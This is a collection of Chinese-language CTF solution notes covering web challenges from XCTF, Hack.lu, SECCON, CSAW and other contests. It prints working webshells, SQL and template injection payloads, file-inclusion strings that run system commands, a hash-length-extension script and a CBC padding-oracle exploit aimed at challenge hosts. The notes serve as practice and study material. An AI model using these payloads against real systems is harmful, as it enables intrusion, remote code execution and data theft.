 elseif (unserialize($cookie) === "$KEY")
  echo "$flag";
 else {
  ?>
  <html>
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>Login</title>
  <link rel="stylesheet" href="admin.css" type="text/css">
  </head>
  <body>
  <br>
  <div class="container" align="center">
    <form method="POST" action="#">
   <p><input name="user" type="text" placeholder="Username"></p>
   <p><input name="password" type="password" placeholder="Password"></p>
   <p><input value="Login" type="button"/></p>
    </form>
  </div>
  </body>
  </html>

 <?php
 }
  $KEY='ISecer:www.isecer.com';
 ?>
```

打算直接提交ISecer = $KEY 的反序列化，后面发现在此之前$KEY都没有被定义，所以KEY是空的，
只需提交空的序列化上去就可以了

```
<?php
 $cookie = serialize("$key");
 print_r($cookie);
?>
```

这样构造一下，就得到了 s:0:"";
但是注意;(分号)在cookie中不会被正确的上传到服务器，构造URL编码
;的URL编码为%3B
所以 cookie:ISecer=s:0:""%3B

INSERT INTO注入

```
error_reporting(0);

function getIp(){
 $ip = '';
 if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
  $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
 }else{
  $ip = $_SERVER['REMOTE_ADDR'];
 }
 $ip_arr = explode(',', $ip);
 return $ip_arr[0];
}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unab
le to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
```

多次

```
又是一个注入题，常规的 and 1=1 啥的都被过滤掉了，多积累姿势
```

getshell

```
之前还以为要传马，后面查wp发现是我想多了，只要成功传php文件
就能拿到flag
顺便学习下文件上传
Content-Type: Multipart/form-data + .php5 ???
```

文件包含2

```
直接伪协议试试：php://filter/read=convert.base64-encode/res
ource=index.php
=> NAIVE! 查看源码发现 upload.php => 文件上传

wp上写的是.php;.jpg，我的直接传个 .gif，然后利用本身的 file
=xxx，查看了所传图片，命令就被执行了
// 命令执行
<script language=php> system("ls")</script>
// 牛逼啊，直接能看到本目录下的所有文件
about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d
6f43.txt upload upload.php
还有个思路，传马之后，菜刀连接，此处不用改后缀名也能解析？？
// 一句话木马
<script language=php>eval($_POST['A'])</script>
```

PHP_incrypt_1

```
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

<?php
function encrypt($data,$key) {
 $key = md5('ISCC');
 $x = 0;
 $len = strlen($data);
 $klen = strlen($key);
 for ($i=0; $i < $len; $i++) {
  /*
  if ($x == $klen) {
   $x = 0;
  }*/
  $char .= $key[$x % $klen];
  $x += 1;
 }
 for ($i=0; $i < $len; $i++) {
  // $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
  $str .= chr((ord($data[$i]+ $key[$i % $klen]) % 128);
  // chr 字符, ord ASCII码
 }
 return base64_encode($str);
}
?>

import hashlib
import base64

key = hashlib.md5("ISCC".encode('utf-8')).hexdigest()
base_64 = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
base_64 = base64.b64decode(base_64)
data_len = len(base_64)

str_ = ""
for i in range(len(base_64)):
 str_ += chr((base_64[i]-ord(key[i%len(key)]))%128)  # 这个题有点水
print(str_)
```

文件上传2(湖湘杯)

```
这个题有点坑，我把源码都弄下来后仔细的看能不能绕过，结果看下别人的wp，直接有一个flag.php，我之前没扫出来。
这教会了我一个道理，先扫 flag，flag.php 已加入字典，以后就能扫出来了。

下面的安全性已经非常高了，后缀被控死
upload.php

<?php
include 'common.php';

if(isset($_POST['submit']) && isset($_FILES['image'])) {
 $fn = $_FILES['image']['tmp_name'];     // 存储在服务器的文件的临时副本的名称
 $ft = $_FILES['image']['type'];         // 上传文件的类型

 if(!is_uploaded_file($fn)) {  // 判断指定的文件是否是通过
```

```
HTTP POST 上传的。
  fatal('uploaded file corrupted');
 }

 $array = array('image/png');
 if(!in_array($ft,$array)){
  fatal("Sorry, only PNG files are allowed.");
 }

 $imagekey = create_image_key();

 move_uploaded_file($fn, "uploads/$imagekey.png");

 header("Location: ?op=show&imagekey=$imagekey");
?>


show.php

<?php
include 'common.php';

if(empty($_GET['imagekey'])) {
 header('Location: ?op=home');
 exit();
}

$imagekey = $_GET['imagekey'];
$im = load_image($imagekey);

$w = imagesx($im);
$h = imagesy($im);
if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE)
 fatal("Invalid image dimensions.");
?>


common.php

<?php
if(!defined('FROM_INDEX')) die();

define('MAX_IM_SIZE', 100);

function create_image_key() {
 return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER
_AGENT'] . time() . mt_rand());
}

function load_image($imagekey) {
 if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
  fatal('Invalid image key.');
  // imagekey=9f6703af622b96dc1a4d01b889587f1ee3fc88d7
 }

 $im = imagecreatefrompng("uploads/{$imagekey}.png");
 if(!$im) {
  fatal('Failed to load image.');
 }
 return $im;
 return $im;
}
stream_wrapper_unregister ("zip");
?>
```

这是一个神奇的登录框

```
直接sqlmap的post注入搞定了
```

ssi

```
EIS2018题感觉不错加上了
http://httpd.apache.org/docs/current/howto/ssi.html
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)
_Injection
https://blog.csdn.net/wutianxu123/article/details/82724637
https://www.secpulse.com/archives/66934.html
<?php
class TinySSI {
 public function parse($content) {
  $parsed = $connect;
  /** #include **/
  $parsed = preg_replace_callback('|<!--#include virtual="
(.*?)"(\s)*-->|',
  function ($matches) {
   $output = file_get_contents("./" . $matches[1]);
   return $output;
  }, $parsed);
  return $parsed;
 }
}
?>
<?php
echo "Flag is in the file 'flag' in this path\n";
require_once('ssi.php');
$parser = new TinySSI;
if(isset($_GET['name'])){
 echo("Your name is " . $parser->parse($_GET['name']));
 exit();
}
?>
<!--#include virtual="flag" -->
```

sql注入2

```
全都tm过滤了绝望吗？
提示 !,!=,=,+,-,^,%
```

flag 被盗

```
跟踪了几个TCP流，发现shell.php，后来在TCP流中直接看到了flag
```

中国菜刀

```
看了几个数据流，发现了一下内容
flag.tar.gz 2016-06-27 08:45:38 203 0666
log.txt 2015-06-03 12:18:46 1502 0666
news.asp 2014-06-27 03:44:24 365 0666
SaveFile.asp 2014-06-27 05:45:08 822 0666
testNull.php 2014-07-17 08:06:14 16 0666
upload.html 2014-06-27 05:27:46 364 0666
webshell.php 2014-07-21 05:52:36 18 0666
xiaoma.asp;.jpg 2014-07-04 08:17:18 1312 0666

猜测 caidao.pcapng 包含了其他文件
使用 binwalk 查看一下
7747          0x1E43          gzip compressed data, from Unix, last modified: 2016-06-27 08:44:39

提取 dd if=caidao.pcapng of=1.gzip skip=7747 bs=1

解压 ⍰  CTF tar -xvf 1.gzip
gzip: stdin: decompression OK, trailing garbage ignored
flag/
flag/flag.txt
tar: Child returned status 2
tar: Error is not recoverable: exiting now

可直接导出？以后补充
```

这么多数据包

```
打开一看真的是很多数据包，看一下http，没有。
题目提示，寻找 getshell 流。一般的 getshell 流的 TCP 的报文中很可能包含 command 这个字段，
我们可以通过 【协议 contains "内容"】 来查找 getshell 流
tcp contains "command"
看到几个tcp
再追踪tcp流
C:\>type s4cr4t.txt
type s4cr4t.txt
Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==
C:\>shutdown -r -t 100 -m "Stupid Manager!"
shutdown -r -t 100 -m "Stupid Manager!"
```

百越杯 买手机

```
重点学习 zio
<?
import hashpumpy
import urllib
from urlparse import parse_qsl
from zio import *
import re, string, itertools
io = zio(('117.50.13.182', 8888))
io.read_until('Command: ')
io.writeline('2')
io.writeline('9')
io.read_until('Your order:\n')
c = io.readline('\n')
d = parse_qsl(c)
hash = d[3][1].strip()
pr = 'product=Flag&price=99999&timestamp=%s'%(d[2][1])
print hash, pr
for i in range(8,32):
 ret = hashpumpy.hashpump(hash, pr, '&price=233', i)
 order = '%s&sign=%s' %(ret[1], ret[0])
 io.writeline('3')
 io.read_until('\n')
 io.writeline(order)
 io.read_until('Command: ')


from pwn import *
# context.log_level = 'debug'
import hashpumpy
p = remote("117.50.13.182",8888)

p.sendline('2')
p.sendline('9')
timestamp = p.recvuntil("&sign=")[-22:-6]

sign = p.recvuntil("\n")
sign = sign[:-1]
pr = "product=Flag&price=99999&timestamp="+timestamp

for i in range(8,32):
 ret = hashpumpy.hashpump(sign,pr,"&price=11",i)
 order = '%s&sign=%s'%(ret[1],ret[0])
 temp = p.recv()
 if "Well" in temp:
  print "------------------------------>>>>>",temp
  exit()
 p.sendline('3')
 p.recv()
 p.sendline(str(order))
#flag{Hash leNgth eXt3ns1on attack !S) E@sy}
```

SWPUCTF2018 web3

```
乍一看
```

XCTF adworld Guess

```
伪协议查看源码:
http://111.198.29.45:32406/?page=php://filter/read=convert
```

```
.base64-encode/resource=index

upload.php
<?php
error_reporting(0);
function show_error_message($message) {
 die("<div class=\"msg error\" id=\"message\">
 <i class=\"fa fa-exclamation-triangle\"></i>$message</div
>");
}

function show_message($message) {
 echo("<div class=\"msg success\" id=\"message\">
 <i class=\"fa fa-exclamation-triangle\"></i>$message</div
>");
}

function random_str($length = "32") {
 $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e",
 "E", "f", "F",
  "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "
L",
  "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "
R",
  "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "
X",
  "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "
8", "9");
 $str = '';

 for ($i = 1; $i <= $length; ++$i) {
  $ch = mt_rand(0, count($set) - 1);
  $str .= $set[$ch];
 }
 $filename = './uP1O4Ds/' . $str . '_';
 return $str;
}
session_start();

$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
 $seed = rand(0,999999999);  // 生成随机数做种子
 mt_srand($seed);  // 用seed给随机数发生器播种
 $ss = mt_rand();  // 取随机数
 $hash = md5(session_id() . $ss);
 setcookie('SESSION', $hash, time() + 3600);
 // SESSION e6bf37f50f6f9f290e834613beb73cac  4bfeacdfd840
4d5c03e91441ffef3a18
 // 得到一个随机数 352940737
 // 得到可能的种子 3281694990 3281694991 981279433

 /*
 zip://uP1O4Ds/xlKZUYfp47Dl1cHKvGz84VIY64sIItpF_test.png%2
3test&a=phpinfo();
 zip://uP1O4Ds/uISoLxXH6C3FBakm7buwAMVQGR3zwRoG_test.png%2
3test&a=phpinfo();
 zip://uP1O4Ds/HNugRX9Vq7I2o9Tq67KrDbERlYpMjZGp_test.png%2
3test&a=phpinfo();
 zip://uP1O4Ds/HQQ6DPmMEyttuA9AB5bic3MzOfOTKSa4_test.png%2
3test&a=phpinfo();
3test&a=phpinfo();
 zip://uP1O4Ds/H4zDu3QZU6pbeFFLl8ax8TKMDwusUQfu_test.png%23test&a=phpinfo();

 */

 zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test&a=phpinfo();

 /uP1O4Ds/NugRX9Vq7I2o9Tq67KrDbERlYpMjZGpI_test.png

 zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png1&a=phpinfo();

 zip://uP1O4Ds/fds3uXk1hjEypt342Br71GmEuSvDpGSo_1.png/1&a=echo system('ls');
 zip://uP1O4Ds/st8LyW7GqjK8SniSUB7RCBERGsHrplZn_1.png/1&a=echo system('ls');
 zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png/1&a=echo system('ls');

 if ($_FILES["file"]["error"] > 0) {
  show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
 }
 $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
    || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
    || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
    || ($_FILES["file-upload-field"]["type"] == "image/png"))
  && ($_FILES["file-upload-field"]["size"] < 204800));
 $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


 if ($check3) show_error_message("Nope!");
 if ($check2) {
  $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
  if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
   show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
  } else show_error_message("Something wrong with the upload...");
 } else {
  show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
 }
}
?>


index.php
<?php
error_reporting(0);
```

```
session_start();
if(isset($_GET['page'])){
 $page=$_GET['page'];
}else{
 $page=null;
}

if(preg_match('/\.\./',$page)) {
 echo "<div class=\"msg error\" id=\"message\">
 <i class=\"fa fa-exclamation-triangle\"></i>Attack Detect
ed!</div>";
 die();
}
?>

<?php
if($page) {
 if(!(include($page.'.php'))) {
  echo "<div class=\"msg error\" id=\"message\">
 <i class=\"fa fa-exclamation-triangle\"></i>error!</div>"
;
  exit;
 }
}
?>

爆破随机数种子(session_id为我们的 PHPSESSID，hash为SESSION)
ini_set(‘max_execution_time’, ‘0’);  // 设置运行时间无限

http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBX
XgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system
(%27cat%20./flag-Edi98vJF8hnIp.txt%27);
xctf{3fbbe15371c9cd42ec1a698d7660849a} xctf{3fbbe15371c9cd
42ec1a698d7660849a}
http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBX
XgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system
(%27ls%27);
CSS flag-Edi98vJF8hnIp.txt index.html index.php js uP1O4Ds
 upload.php upload.php
```

adworld simple_js

```
function dechiffre(pass_enc){
 var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,
65,72,65";
 var tab  = pass_enc.split(',');
 var tab2 = pass.split(',');
 var i,j,k,l=0,m,n,o,p = "";
 i = 0;
 j = tab.length;
 k = j + (l) + (n=0);
 n = tab2.length;
 for(i = (o=0); i < (k = j = n); i++ ) {
  o = tab[i-l];
  p += String.fromCharCode((o = tab2[i]));
  if(i == 5)
   break;
 }
 for(i = (o=0); i < (k = j = n); i++ ){
  o = tab[i-l];
  if(i > 5 && i < k-1)
    p += String.fromCharCode((o = tab2[i]));
 }
 p += String.fromCharCode(tab2[17]);
 pass = p;
 return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c
\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x
31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35
\x30"));
55,56,54,79,115,69,114,116,107,49,50

h = window.prompt('Enter password');
alert( dechiffre(h) );
```

FlatScience Hack.lu-2017

```
目录扫描得到 login.php admin.php, 也可以直接查看 robots.txt
<!-- TODO: Remove ?debug-Parameter! -->
此处 login.php?debug=1 可看到源码

<?php
 ob_start();
?>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
  $user = $_POST['usr'];
  $pass = $_POST['pw'];

  $db = new SQLite3('../fancy.db');

  $res = $db->query("SELECT id,name from Users where name=
'".$user."' and password='".sha1($pass."Salz!")."'");
 if($res){
  $row = $res->fetchArray();
 }
 else{
  echo "<br>Some Error occourred!";
 }
 if(isset($row['id'])){
   setcookie('name', ' '.$row['name'], time() + 60, '/');
   header("Location: /");
   die();
 }
}

if(isset($_GET['debug']))
 highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
```

开始 sqlite 注入 参考文章 https://www.anquanke.com/post/id/85552

获得表信息
usr=111' union select 1,name FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f
只有一个表 Users

获得所有表结构：
usr=111' union select 1,sql FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f

```
CREATE TABLE Users(
 id int primary key,
 name varchar(255),
 password varchar(255),
 hint+varchar(255)
);
```

usr=111' union select 1, name FROM users limit 0,1 --&pw=f
admin 3fab54a50e770d830c0416df817567662a9dc85c my+fav+word+in+my+fav+paper

将网站上的所有 pdf 下载下来，我们这里用 wget 递归下载：wget xxx.com -r -np -nd -A .pdf

-r：层叠递归处理
-np：不向上（url 路径）递归
-nd：不创建和 web 网站相同（url 路径）的目录结构
-A type：文件类型

参考 https://chybeta.github.io/2017/10/22/Hack-lu-CTF-2017-Flatscience-writeup/
暴力py脚本

```
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
 return [i for i in os.listdir("./") if i.endswith("pdf")]
 return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
 rsrcmgr = PDFResourceManager()
 retstr = StringIO()
 device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
 interpreter = PDFPageInterpreter(rsrcmgr, device)
 with open(path, 'rb') as fp:
  for page in PDFPage.get_pages(fp, set()):
   interpreter.process_page(page)
  text = retstr.getvalue()
 device.close()
 retstr.close()
 return text
def find_password():
 pdf_path = get_pdf()
 for i in pdf_path:
  print "Searching word in " + i
  pdf_text = convert_pdf_2_text(i).split(" ")
  for word in pdf_text:
   sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
   if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
    print "Find the password :" + word
    exit()
if __name__ == "__main__":
 find_password()

参考 https://wu.rot26.team/CTF/Hacklu/2017/web/flatscience/
find -name *.pdf -exec pdftotext {} \;
mkdir txts
find -name *.txt -exec cp {} txts \;
for i in `ls`; do tr -c '[:alnum:]' '[\n*]' < $i | sort | uniq ; done > wordlist

import hashlib
from tqdm import tqdm

with open('wordlist') as words:
 __values__ = words.readlines()
 for word in tqdm(__values__):
  word = word[:-1]
  hash_object = hashlib.sha1(b""+word+"Salz!")
  hex_dig = hash_object.hexdigest()
  if "3fab54a50e770d830c0416df817567662a9dc85c" in hex_dig:
   print word
```

,

lottery Qctf2018

```
<?php
function random_num(){
 do {
  $byte = openssl_random_pseudo_bytes(10, $cstrong);
  $num = ord($byte);
 } while ($num >= 250);

 if(!$cstrong){
  response_error('server need be checked, tell admin');
 }

 $num /= 25;
 return strval(floor($num));
}

function random_win_nums(){
 $result = '';
 for($i=0; $i<7; $i++){
  $result .= random_num();
 }
 return $result;
}

$same_count = 0;
for($i=0; $i<7; $i++){
 if($numbers[$i] == $win_numbers[$i]){
  $same_count++;
 }
}
?>

openssl_random_pseudo_bytes() 之前的第一想法是找破解办法，猜出随机数，找半天发现确实不行。用不着死磕，思路不行立即变换，死磕没有任何意义。
看下wp之后，毕竟两星级，确实非常简单，弱类型绕过。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}

有的选手用了暴力重复注册然后买彩票的方法。
考虑了一下这种方法花费的时间并不比直接审计代码短，为了给广大彩民一点希望，
可以留作一种备选的非预期解，就没有改题加验证码或者提高flag价格。

这也是好玩法，可惜没环境了，不然试试看。

http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates/flag.php%27)%3b%23
```

#mfw csaw-ctf-2016-quals

githack 得到源码

```
<?php
 $file = "templates/" . $page . ".php";

 // I heard '..' is dangerous!
 assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

 // TODO: Make this look nice
 assert("file_exists('$file')") or die("That file doesn't exist!");
?>

http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates%2fflag.php%27)%3b%23
闭合，并注释后面的语句
```

CSAW CTF 2016 wtf.sh wtf.sh

```
https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh
GET /post.wtf?post=../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*
USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
```

微软表单填写

```
https://germey.gitbooks.io/python3webspider/7.1-Selenium%E7%9A%84%E4%BD%BF%E7%94%A8.html

https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Frefd%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253Dlogin.live.com&lc=2052&id=292666&lw=1&fl=easi2
账户id：i0116
https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1548080354&rver=7.0.6738.0&wp=MBI_SSL&wreply=https:%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin%3Fru%3Dhttps%253A%252F%252Faccount.microsoft.com%252F%253Frefd%253Dlogin.live.com%2526ru%253Dhttps%25253A%25252F%25252Faccount.microsoft.com%25252F%25253Frefd%25253Dlogin.live.com&lc=2052&id=292666&lw=1&fl=easi2
密码id：i0118
```

biscuiti-300

```
Docker
docker pull sysucsa/ctfs_docker:seccon2016_web_biscuiti
docker run -d -p 8000:80 sysucsa/ctfs_docker:seccon2016_web_biscuiti

脚本写的非常好，还配了上面的 docker
http://ssst0n3.github.io/2017/01/16/2017-01-16-biscuiti/#more

https://blog.csdn.net/qq_19876131/article/details/53674972

外国大佬
https://blog.tinduong.pw/2016/12/11/seccon-quals-2016-biscuiti-web-crypto-300-write-up/
考察知识点：sql注入，php 弱类型比较（两者为空则相等），cbc padding oracle attack

直接就拿到了 index.php 的备份文件
注入可得
+----------+-------------------------+
| username | enc_password            |
| username | enc_password             |
+----------+--------------------------+
| admin    | wCqHs1eDcCePiImvDZzwXw== |
+----------+--------------------------+

<?php
error_reporting(0);
define("ENC_KEY", "***censored***");
define("ENC_METHOD", "aes-128-cbc");

if (!extension_loaded('pdo_sqlite')) {
 header("Content-type: text/plain");
 echo "PDO Driver for SQLite is not installed.";
 exit;
}
if (!extension_loaded('openssl')) {
 header("Content-type: text/plain");
 echo "OpenSSL extension is not installed.";
 exit;
}

/*
Setup:
CREATE TABLE user (
    username VARCHAR(255),
    enc_password VARCHAR(255),
    isadmin BOOLEAN
);
INSERT INTO user VALUES ("admin", "***censored***", 1);
*/

function auth($enc_password, $input) {
 $enc_password = base64_decode($enc_password);
 $iv = substr($enc_password, 0, 16);
 $c = substr($enc_password, 16);
 $password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
    return $password == $input;
    // 这里只是弱类型比较，由手册可知，openssl_decrypt 在解密错误时会返回 false，所以我们传一个 passwd=0 即可，密文随意
}

function mac($input) {
 $iv = str_repeat("\0", 16);
 $c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
 return substr($c, -16);  // 只返回了后十六位
}

function save_session() {
 global $SESSION;
    $j = serialize($SESSION);
    // a:2:{s:4:"name";s:4:"aaaa";s:7:"isadmin";N;} + xxx
    // 将 session 序列化后的字符串拼接了其密文写入 cookie
 $u = $j . mac($j);
 setcookie("JSESSION", base64_encode($u));
}

// 总的作用就是验证 session 是否被篡改，与 md5 类似
function load_session() {
 global $SESSION;
 if (!isset($_COOKIE["JSESSION"]))
  return array();
 $u = base64_decode($_COOKIE["JSESSION"]);
 $j = substr($u, 0, -16);  // session
 $t = substr($u, -16);  // 后 16 位为以前添加的 mac
 if (mac($j) !== $t)
  return array(2);
 $SESSION = unserialize($j);
}

function _h($s) {
 return htmlspecialchars($s, ENT_QUOTES, "UTF-8");
}

function login_page($message = null) {
    if (isset($message)) {
        echo "  <div>" . _h($message) . "</div>\n";
    }
}

function info_page() {
 global $SESSION;
 printf("Hello %s\n", _h($SESSION["name"]));
 if ($SESSION["isadmin"])  // 一定要有此项才 include flag
  include("../flag");
}

if (isset($_POST['username']) && isset($_POST['password'])) {
 $username = (string)$_POST['username'];
 $password = (string)$_POST['password'];
 $dbh = new PDO('sqlite:users.db');
    $result = $dbh->query("SELECT username, enc_password from user WHERE username='{$username}'");
    // 没有任何过滤，直接注入
 if (!$result) {
  login_page("error");
  $info = $dbh->errorInfo();
  login_page($info[2]);
 }
 $u = $result->fetch(PDO::FETCH_ASSOC);
 if ($u && auth($u["enc_password"], $password)) {
  $SESSION["name"] = $u['username'];
        $SESSION["isadmin"] = $u['isadmin'];
        // 然而数据库里压根就没有 isadmin，所以这直接为 0
  save_session();
  info_page();
 }
 else {
  login_page("error");
 }
}
else {
 load_session();
 if (isset($SESSION["name"])) {
  info_page();
 }
 else {
  login_page();
 }
}
```

```
from Crypto.Util.number import *
from Crypto.Cipher import AES
import requests, time, base64


def xor(a, b):
 return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def add_pad(s):
 block_len = 16
 pad_len = block_len - len(s)
 return s + chr(pad_len)*pad_len

def padding_oracle_attack(cipher, plain):
 after_dec = ""
 for k in range(1, 17):
  for i in range(0, 256):
   pad = xor(after_dec, chr(k)*(k-1))
   iv = "A"*16
   c = "A"*(16-k) + chr(i) + pad + cipher
   assert len(iv + c) == 48
   uname = "' UNION SELECT 'a', '%s" % (base64.b64encode(iv + c))
   url = "http://biscuiti.pwn.seccon.jp/"
   payload = {"username":uname, "password":""}
   r = requests.post(url, data=payload)

   if r.text.find("Hello") < 0:
    after_dec = chr(i ^ k) + after_dec
    print after_dec.encode("hex")
    break

 assert len(after_dec) == 16
 prev_cihper = xor(after_dec, plain)
 return prev_cihper


uname = "' UNION SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaa', 'hoge"
url = "http://biscuiti.pwn.seccon.jp/"
payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)

jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")

u = base64.b64decode(jsession)
j = u[:-16]
mac_j = u[-16:]

P = [j[i: i+16] for i in range(0, len(j), 16)]
C = [""]*5

P[4] = add_pad(P[4])
C[4] = mac_j

for i in reversed(range(1,5)):
 C[i-1] = padding_oracle_attack(C[i], P[i])


# C = ["88bb7c4931651cb975e48e9008c1a911".decode("hex"),
#     "6106b1d3251bea689f161c65d85705eb".decode("hex"),
#     "fc04f5ccfdcfed064cf3200eace65257".decode("hex"),
#     "d48fa8585b30d06b5b5515659b5f03d8".decode("hex"),
#     "a853d2fb8dc8d23b5bca133bb84039d7".decode("hex")]

P[4] = add_pad("b:1;}")
P[2] = xor(xor(P[4], C[3]), C[1])


uname = "' UNION SELECT 'aaaaaaaaaa%s', 'hoge" % P[2]
url = "http://biscuiti.pwn.seccon.jp/"
payload = payload = {"username":uname, "password":""}
r = requests.post(url, data=payload)

jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")

u = base64.b64decode(jsession)
j = u[:-16]
mac_j = u[-16:]

P = [j[i: i+16] for i in range(0, len(j), 16)]
C = [""]*5

P[4] = add_pad(P[4])
C[4] = mac_j

for i in reversed(range(3,5)):
 C[i-1] = padding_oracle_attack(C[i], P[i])

# C[2] = "3d469b651494c9a3289e00191a6bafb6".decode("hex")

jsession = base64.b64encode('a:2:{s:4:"name";s:26:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:7:"isadmin";b:1;}'+C[2])
url = "http://biscuiti.pwn.seccon.jp/"
header = {"Cookie":"JSESSION=%s" % jsession.replace("=","%3D")}
r = requests.post(url, headers=header)
print r.text
```

adworld upload

```
前端验证，直接抓包改名绕过
直接给出了目录，system($_GET['cmd'])，antsword连接，连接不上，可能是docker很多命令都没安装
再试试eval，系统命令没有，PHP的总是可以把，用了下 scandir('../')，发现有 flag.php，现在的任务就是读取flag.php，
file_get_contents("../flag.php")居然没反应，灵机一动 highlight_file() 成功了
http://111.198.29.45:32032/upload/1548320743.2.php?cmd=highlight_file("../flag.php");
```

XCTF 4th-QCTF-2018 Confusion1

```
题目描述：
One day, Bob said “PHP is the best language!”, but Alice didn’t agree it, so Alice write a website to proof it.
She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)
<!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
<!--Salt @ /opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->
http://111.198.29.45:32058/%7B%7B''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').next()%7D%7D
python 模板注入
https://www.freebuf.com/column/177864.html
https://portswigger.net/blog/server-side-template-injection
https://hwhxy.github.io/ctf/2018/07/26/%E4%BB%8ECTF%E4%B8%AD%E5%AD%A6%E4%B9%A0%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/
```

XCTF 4th-CyberEarth 签到题

```
题目描述：云平台报表中心收集了设备管理基础服务的数据，但是数据被删除了，只有一处留下了入侵者的痕迹。
看到送分题就尴尬了一下，试了下SQL注入，全跳转到id=1，id=2没反应，看下wp，没想到是爆破到id=2333，需要脑洞啊
wp：https://www.secpulse.com/archives/67980.html https://www.secfree.com/article/695.html
官方 wp 太辣眼睛
```

XCTF 4th-CyberEarth ics-01

```
php://filter/read=convert.base64-encode/resource=index
感觉会有文件包含漏洞，但是过滤了 ://
目标：flag/flag/flag/flag/flag/flag/flag.php

直接扫了一波目录，得到一个 .index.php.swp
<?php
error_reporting(0);
// 限制 php 只能访问此目录
ini_set('open_basedir', '/var/www/html');

function autoload($page) {
